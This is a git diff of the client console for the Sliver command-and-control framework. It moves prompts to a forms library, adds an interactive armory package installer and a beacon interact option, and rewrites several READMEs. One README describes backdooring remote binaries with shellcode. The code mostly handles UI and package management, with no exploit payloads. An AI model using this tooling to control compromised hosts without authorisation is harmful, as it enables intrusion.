confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm(fmt.Sprintf("Remove '%s' alias?", name), &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
# client/command/armory
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'armory' command group for the Sliver client console. Handlers map Cobra invocations to armory workflows such as install, manage, parsers, and search.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `armory.go` – Maintains the armory cache lifecycle, fetching package metadata, verifying signatures, and presenting bundle listings.
|
||||
- `armory_test.go` *(tests)* – Placeholder for armory command tests; currently used to keep the package's test harness wired up.
|
||||
- `commands.go` – Declares the Cobra command hierarchy for armory actions and binds shared flag/completion plumbing.
|
||||
- `install.go` – Resolves dependencies and installs aliases or extensions from cached metadata, prompting when overwriting existing packages.
|
||||
- `manage.go` – Implements management helpers for viewing, adding, verifying, and persisting armory configurations.
|
||||
- `parsers.go` – Provides parsers and HTTP helpers for retrieving armory indexes and packages, including Minisign verification.
|
||||
- `search.go` – Implements the regex-driven search command that filters cached armory packages.
|
||||
- `update.go` – Calculates available package updates, presents options to the user, and orchestrates update installation.
|
||||
@@ -428,7 +428,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render("Packages"))
|
||||
|
||||
urlMargin := 150 // Extra margin needed to show URL column
|
||||
|
||||
@@ -493,26 +493,26 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
style := console.StyleNormal
|
||||
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
|
||||
color = console.Green
|
||||
style = console.StyleGreen
|
||||
}
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
style.Render(pkg.ArmoryName),
|
||||
style.Render(pkg.CommandName),
|
||||
style.Render(pkg.Version),
|
||||
style.Render(pkg.Type),
|
||||
style.Render(pkg.Help),
|
||||
style.Render(pkg.URL),
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
style.Render(pkg.ArmoryName),
|
||||
style.Render(pkg.CommandName),
|
||||
style.Render(pkg.Version),
|
||||
style.Render(pkg.Type),
|
||||
style.Render(pkg.Help),
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -524,7 +524,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render("Bundles"))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory Name",
|
||||
"Name",
|
||||
|
||||
@@ -37,7 +37,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
Use: consts.InstallStr,
|
||||
Short: "Install an alias or extension",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Args: cobra.RangeArgs(0, 1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryInstallCmd(cmd, con, args)
|
||||
},
|
||||
|
||||
@@ -26,8 +26,9 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -35,6 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
@@ -51,10 +53,9 @@ const (
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var promptToOverwrite bool
|
||||
name := args[0]
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
names := []string{}
|
||||
if len(args) > 0 {
|
||||
names = []string{args[0]}
|
||||
}
|
||||
forceInstallation, err := cmd.Flags().GetBool("force")
|
||||
if err != nil {
|
||||
@@ -83,51 +84,92 @@ func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
if name == "all" {
|
||||
aliases, extensions := packageManifestsInCache()
|
||||
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
|
||||
confirm := false
|
||||
pluralAliases := "es"
|
||||
if aliasCount == 1 {
|
||||
pluralAliases = ""
|
||||
|
||||
if len(names) == 0 {
|
||||
armoryFilterName := ""
|
||||
if armoryPK != "" {
|
||||
armoryFilterName = armoryName
|
||||
}
|
||||
pluralExtensions := "s"
|
||||
if extCount == 1 {
|
||||
pluralExtensions = ""
|
||||
}
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Install %d alias%s and %d extension%s?",
|
||||
aliasCount, pluralAliases, extCount, pluralExtensions,
|
||||
),
|
||||
}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
options := armoryInstallOptions(armoryPK, armoryFilterName)
|
||||
if len(options) == 0 {
|
||||
con.PrintInfof("No packages or bundles found\n")
|
||||
return
|
||||
}
|
||||
promptToOverwrite = false
|
||||
}
|
||||
err = installPackageByName(name, armoryPK, forceInstallation, promptToOverwrite, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if errors.Is(err, ErrPackageNotFound) {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
|
||||
result, err := forms.ArmoryInstallForm(options)
|
||||
if err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("Armory install form failed: %s\n", err)
|
||||
return
|
||||
}
|
||||
// If we have made it here, then there was not a bundle or package that matched the provided name
|
||||
if armoryPK == "" {
|
||||
con.PrintErrorf("No package or bundle named %q was found\n", name)
|
||||
if len(result.SelectedNames) == 0 {
|
||||
return
|
||||
}
|
||||
names = result.SelectedNames
|
||||
}
|
||||
if len(names) == 0 {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
if slices.Contains(names, "all") {
|
||||
names = []string{"all"}
|
||||
}
|
||||
|
||||
for _, name := range names {
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
promptOverwrite := promptToOverwrite
|
||||
if name == "all" {
|
||||
aliases, extensions := packageManifestsInCache()
|
||||
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
|
||||
confirm := false
|
||||
pluralAliases := "es"
|
||||
if aliasCount == 1 {
|
||||
pluralAliases = ""
|
||||
}
|
||||
pluralExtensions := "s"
|
||||
if extCount == 1 {
|
||||
pluralExtensions = ""
|
||||
}
|
||||
forms.Confirm(fmt.Sprintf("Install %d alias%s and %d extension%s?",
|
||||
aliasCount, pluralAliases, extCount, pluralExtensions,
|
||||
), &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
promptOverwrite = false
|
||||
}
|
||||
|
||||
err = installPackageByName(name, armoryPK, forceInstallation, promptOverwrite, clientConfig, con)
|
||||
if err == nil {
|
||||
continue
|
||||
}
|
||||
if errors.Is(err, ErrPackageNotFound) {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
|
||||
err = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
if err == nil {
|
||||
continue
|
||||
}
|
||||
// If we have made it here, then there was not a bundle or package that matched the provided name
|
||||
if armoryPK == "" {
|
||||
con.PrintErrorf("No package or bundle named %q was found\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
|
||||
}
|
||||
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
|
||||
con.PrintErrorf("Could not install package: %s\n", err)
|
||||
}
|
||||
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("Could not install package: %s\n", err)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -232,19 +274,22 @@ func getInstalledPackageNames() []string {
|
||||
}
|
||||
|
||||
// This is a convenience function to get the names of the commands in the cache
|
||||
func getCommandsInCache() []string {
|
||||
func getCommandsInCache(armoryPK string) []string {
|
||||
commandNames := []string{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
|
||||
return true
|
||||
}
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
|
||||
if cacheEntry.Alias.CommandName != "" && !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
|
||||
commandNames = append(commandNames, cacheEntry.Alias.CommandName)
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if !slices.Contains(commandNames, command.CommandName) {
|
||||
if command.CommandName != "" && !slices.Contains(commandNames, command.CommandName) {
|
||||
commandNames = append(commandNames, command.CommandName)
|
||||
}
|
||||
}
|
||||
@@ -296,11 +341,7 @@ func getPackageIDFromUser(name string, options map[string]string) string {
|
||||
// Add a cancel option
|
||||
optionKeys = append(optionKeys, doNotInstallOption)
|
||||
options[doNotInstallOption] = doNotInstallPackageName
|
||||
prompt := &survey.Select{
|
||||
Message: fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name),
|
||||
Options: optionKeys,
|
||||
}
|
||||
survey.AskOne(prompt, &selectedPackageKey)
|
||||
forms.Select(fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name), optionKeys, &selectedPackageKey)
|
||||
selectedPackageID := options[selectedPackageKey]
|
||||
|
||||
return selectedPackageID
|
||||
@@ -360,7 +401,7 @@ func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPack
|
||||
var requestedPackageList []string
|
||||
if name == "all" {
|
||||
requestedPackageList = []string{}
|
||||
allCommands := getCommandsInCache()
|
||||
allCommands := getCommandsInCache(armoryPK)
|
||||
for _, cmdName := range allCommands {
|
||||
if !slices.Contains(installedPackages, cmdName) || forceInstallation {
|
||||
// Check to see if there is a package pending with that name
|
||||
@@ -420,6 +461,15 @@ func installPackageByName(name, armoryPK string, forceInstallation, promptToOver
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(packageInstallList) == 0 && name == "all" {
|
||||
availableCommands := getCommandsInCache(armoryPK)
|
||||
if len(availableCommands) == 0 {
|
||||
con.PrintInfof("No packages or bundles found\n")
|
||||
} else {
|
||||
con.PrintInfof("All available packages are already installed\n")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if len(packageInstallList) > 0 {
|
||||
for _, packageID := range packageInstallList {
|
||||
entry := packageCacheLookupByID(packageID)
|
||||
@@ -444,12 +494,114 @@ func installPackageByName(name, armoryPK string, forceInstallation, promptToOver
|
||||
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("Operation complete\n")
|
||||
con.PrintSuccessf("Operation complete\n")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func armoryInstallOptions(armoryPK, armoryName string) []forms.ArmoryInstallOption {
|
||||
options := []forms.ArmoryInstallOption{}
|
||||
seen := make(map[string]bool)
|
||||
packageCount := 0
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
return true
|
||||
}
|
||||
if cacheEntry.LastErr != nil {
|
||||
return true
|
||||
}
|
||||
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
|
||||
return true
|
||||
}
|
||||
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
name := cacheEntry.Alias.CommandName
|
||||
if name == "" {
|
||||
return true
|
||||
}
|
||||
if seen[name] {
|
||||
return true
|
||||
}
|
||||
label := formatArmoryInstallLabel("alias", name, cacheEntry.Alias.Help)
|
||||
options = append(options, forms.ArmoryInstallOption{
|
||||
Value: name,
|
||||
Label: label,
|
||||
})
|
||||
seen[name] = true
|
||||
packageCount++
|
||||
return true
|
||||
}
|
||||
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
name := command.CommandName
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
if seen[name] {
|
||||
continue
|
||||
}
|
||||
label := formatArmoryInstallLabel("extension", name, command.Help)
|
||||
options = append(options, forms.ArmoryInstallOption{
|
||||
Value: name,
|
||||
Label: label,
|
||||
})
|
||||
seen[name] = true
|
||||
packageCount++
|
||||
}
|
||||
|
||||
return true
|
||||
})
|
||||
|
||||
for _, bundle := range bundlesInCache() {
|
||||
if bundle.Name == "" {
|
||||
continue
|
||||
}
|
||||
if armoryName != "" && bundle.ArmoryName != armoryName {
|
||||
continue
|
||||
}
|
||||
if seen[bundle.Name] {
|
||||
continue
|
||||
}
|
||||
label := fmt.Sprintf("bundle: %s (%d packages)", bundle.Name, len(bundle.Packages))
|
||||
options = append(options, forms.ArmoryInstallOption{
|
||||
Value: bundle.Name,
|
||||
Label: label,
|
||||
})
|
||||
seen[bundle.Name] = true
|
||||
}
|
||||
|
||||
if len(options) == 0 {
|
||||
return options
|
||||
}
|
||||
|
||||
sort.Slice(options, func(i, j int) bool {
|
||||
return options[i].Label < options[j].Label
|
||||
})
|
||||
|
||||
if packageCount > 0 {
|
||||
options = append([]forms.ArmoryInstallOption{
|
||||
{
|
||||
Value: "all",
|
||||
Label: "all packages (aliases + extensions)",
|
||||
},
|
||||
}, options...)
|
||||
}
|
||||
|
||||
return options
|
||||
}
|
||||
|
||||
func formatArmoryInstallLabel(kind, name, help string) string {
|
||||
help = strings.TrimSpace(help)
|
||||
if help == "" {
|
||||
return fmt.Sprintf("%s: %s", kind, name)
|
||||
}
|
||||
help = strings.Join(strings.Fields(help), " ")
|
||||
return fmt.Sprintf("%s: %s - %s", kind, name, help)
|
||||
}
|
||||
|
||||
func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
@@ -483,20 +635,15 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
tmpFileName, err := writeArmoryTempFile(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
defer os.Remove(tmpFileName)
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
|
||||
installPath := alias.InstallFromFile(tmpFileName, entry.Alias.CommandName, promptToOverwrite, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
@@ -577,23 +724,45 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = tmpFile.Sync()
|
||||
tmpFileName, err := writeArmoryTempFile(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFileName)
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
|
||||
extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func writeArmoryTempFile(data []byte) (string, error) {
|
||||
if len(data) == 0 {
|
||||
return "", errors.New("downloaded archive is empty")
|
||||
}
|
||||
tmpFile, err := os.CreateTemp("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
tmpFileName := tmpFile.Name()
|
||||
for len(data) > 0 {
|
||||
n, err := tmpFile.Write(data)
|
||||
if err != nil {
|
||||
tmpFile.Close()
|
||||
os.Remove(tmpFileName)
|
||||
return "", err
|
||||
}
|
||||
data = data[n:]
|
||||
}
|
||||
if err := tmpFile.Sync(); err != nil {
|
||||
tmpFile.Close()
|
||||
os.Remove(tmpFileName)
|
||||
return "", err
|
||||
}
|
||||
if err := tmpFile.Close(); err != nil {
|
||||
os.Remove(tmpFileName)
|
||||
return "", err
|
||||
}
|
||||
return tmpFileName, nil
|
||||
}
|
||||
@@ -8,10 +8,10 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -602,8 +602,7 @@ func ModifyArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not modify armory: %s\n", err)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Would you like to revert the properties of the armory back to their previous values?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
_ = forms.Confirm("Would you like to revert the properties of the armory back to their previous values?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
} else {
|
||||
|
||||
@@ -19,13 +19,11 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
@@ -34,6 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
@@ -87,16 +86,19 @@ func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
|
||||
updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
|
||||
displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
|
||||
selectedUpdates, err = getUpdatesFromUser(con, updateKeys)
|
||||
selectedUpdates, err = getUpdatesFromUser(updateKeys)
|
||||
if err != nil {
|
||||
con.PrintErrorf(err.Error() + "\n")
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if len(selectedUpdates) == 0 {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
con.PrintSuccessf("All packages are up to date")
|
||||
con.PrintSuccessf("All packages are up to date\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -255,7 +257,7 @@ func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdent
|
||||
if len(extensionUpdates) != 1 {
|
||||
extensionSuffix = "s"
|
||||
}
|
||||
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render(fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix)))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Package Name",
|
||||
"Package Type",
|
||||
@@ -299,76 +301,35 @@ func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdent
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
}
|
||||
|
||||
func getUpdatesFromUser(con *console.SliverClient, updateKeys []UpdateIdentifier) (chosenUpdates []UpdateIdentifier, selectionError error) {
|
||||
chosenUpdates = []UpdateIdentifier{}
|
||||
func getUpdatesFromUser(updateKeys []UpdateIdentifier) ([]UpdateIdentifier, error) {
|
||||
options := make([]forms.ArmoryUpdateOption, 0, len(updateKeys))
|
||||
optionIndex := make(map[string]UpdateIdentifier, len(updateKeys))
|
||||
|
||||
var updateResponse string
|
||||
for _, key := range updateKeys {
|
||||
packageType := "Alias"
|
||||
if key.Type == ExtensionPackage {
|
||||
packageType = "Extension"
|
||||
}
|
||||
optionID := fmt.Sprintf("%d:%s", key.Type, key.Name)
|
||||
optionLabel := fmt.Sprintf("%s (%s)", key.Name, packageType)
|
||||
options = append(options, forms.ArmoryUpdateOption{
|
||||
ID: optionID,
|
||||
Label: optionLabel,
|
||||
})
|
||||
optionIndex[optionID] = key
|
||||
}
|
||||
|
||||
con.Println("You can apply all, none, or some updates.\nTo apply some updates, specify the number of a single update, a range (1-3), or a combination of the two (1, 3-5, 7)\n")
|
||||
err := survey.AskOne(&survey.Input{
|
||||
Message: "Which updates would you like to apply? [A]ll, [N]one, or some:",
|
||||
}, &updateResponse)
|
||||
result, err := forms.ArmoryUpdateForm(options)
|
||||
if err != nil {
|
||||
// We do not need to set selectionError because an error here means the same thing as responding with "none"
|
||||
return
|
||||
return nil, err
|
||||
}
|
||||
|
||||
updateResponse = strings.ToLower(updateResponse)
|
||||
updateResponse = strings.Replace(updateResponse, " ", "", -1)
|
||||
if updateResponse == "n" || updateResponse == "none" {
|
||||
return
|
||||
}
|
||||
|
||||
if updateResponse == "a" || updateResponse == "all" {
|
||||
chosenUpdates = updateKeys
|
||||
return
|
||||
}
|
||||
|
||||
selections := strings.Split(updateResponse, ",")
|
||||
|
||||
for _, selection := range selections {
|
||||
// Handle a range
|
||||
if strings.Contains(selection, "-") {
|
||||
rangeParts := strings.Split(selection, "-")
|
||||
start, err := strconv.Atoi(rangeParts[0])
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[0])
|
||||
return
|
||||
}
|
||||
end, err := strconv.Atoi(rangeParts[1])
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[1])
|
||||
return
|
||||
}
|
||||
// Adjust for the 0 indexed slice we are working with
|
||||
start -= 1
|
||||
end -= 1
|
||||
if start < 0 {
|
||||
start = 0
|
||||
}
|
||||
if start > end {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", selection)
|
||||
return
|
||||
}
|
||||
if end >= len(updateKeys) {
|
||||
end = len(updateKeys) - 1
|
||||
}
|
||||
|
||||
for i := start; i <= end; i++ {
|
||||
chosenUpdates = append(chosenUpdates, updateKeys[i])
|
||||
}
|
||||
} else {
|
||||
// Single entry
|
||||
index, err := strconv.Atoi(selection)
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", selection)
|
||||
return
|
||||
}
|
||||
index -= 1
|
||||
if index >= 0 && index < len(updateKeys) {
|
||||
chosenUpdates = append(chosenUpdates, updateKeys[index])
|
||||
}
|
||||
chosenUpdates := make([]UpdateIdentifier, 0, len(result.SelectedIDs))
|
||||
for _, selectedID := range result.SelectedIDs {
|
||||
if update, ok := optionIndex[selectedID]; ok {
|
||||
chosenUpdates = append(chosenUpdates, update)
|
||||
}
|
||||
}
|
||||
return
|
||||
|
||||
return chosenUpdates, nil
|
||||
}
|
||||
@@ -1,4 +1,10 @@
|
||||
Backdoor
|
||||
========
|
||||
# client/command/backdoor
|
||||
|
||||
Implements command related to `backdoor`
|
||||
## Overview
|
||||
|
||||
Implements the 'backdoor' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `backdoor.go` – Implements the RPC workflow that backdoors a remote binary with Sliver shellcode for the active session.
|
||||
- `commands.go` – Registers the Cobra command, binds flags/completions, and restricts usage to applicable targets.
|
||||
@@ -1,4 +1,14 @@
|
||||
Beacons
|
||||
========
|
||||
# client/command/beacons
|
||||
|
||||
This package implements the beacons command, which can be used to list and interact with beacons.
|
||||
## Overview
|
||||
|
||||
Implements the 'beacons' command group for the Sliver client console. Handlers map Cobra invocations to beacons workflows such as prune, RM, and watch.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `beacons.go` – Retrieves beacon inventories and renders them in tabular form with optional filtering.
|
||||
- `commands.go` – Declares the beacons command set, binds flags/completions, and wires subcommands like prune, rm, and watch.
|
||||
- `helpers.go` – Provides helper RPC wrappers for selecting, fetching, and listing beacons.
|
||||
- `prune.go` – Implements the prune routine that removes stale beacon entries via the backend API.
|
||||
- `rm.go` – Removes a specific beacon by ID, coordinating confirmation and RPC teardown.
|
||||
- `watch.go` – Streams beacon events in a watch loop, handling cancellation and console interaction.
|
||||
@@ -39,6 +39,7 @@ import (
|
||||
func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
killFlag, _ := cmd.Flags().GetString("kill")
|
||||
killAll, _ := cmd.Flags().GetBool("kill-all")
|
||||
interact, _ := cmd.Flags().GetString("interact")
|
||||
|
||||
// Handle kill
|
||||
if killFlag != "" {
|
||||
@@ -72,6 +73,18 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
|
||||
if interact != "" {
|
||||
beacon, err := GetBeacon(con, interact)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.ActiveTarget.Set(nil, beacon)
|
||||
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, strings.Split(beacon.ID, "-")[0])
|
||||
return
|
||||
}
|
||||
|
||||
filter, _ := cmd.Flags().GetString("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
|
||||
@@ -165,10 +178,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
}
|
||||
|
||||
for _, beacon := range beacons {
|
||||
color := console.Normal
|
||||
style := console.StyleNormal
|
||||
activeBeacon := con.ActiveTarget.GetBeacon()
|
||||
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
||||
color = console.Green
|
||||
style = console.StyleGreen
|
||||
}
|
||||
if beacon.Integrity == "" {
|
||||
beacon.Integrity = "-"
|
||||
@@ -179,34 +192,34 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
|
||||
if wideTermWidth {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
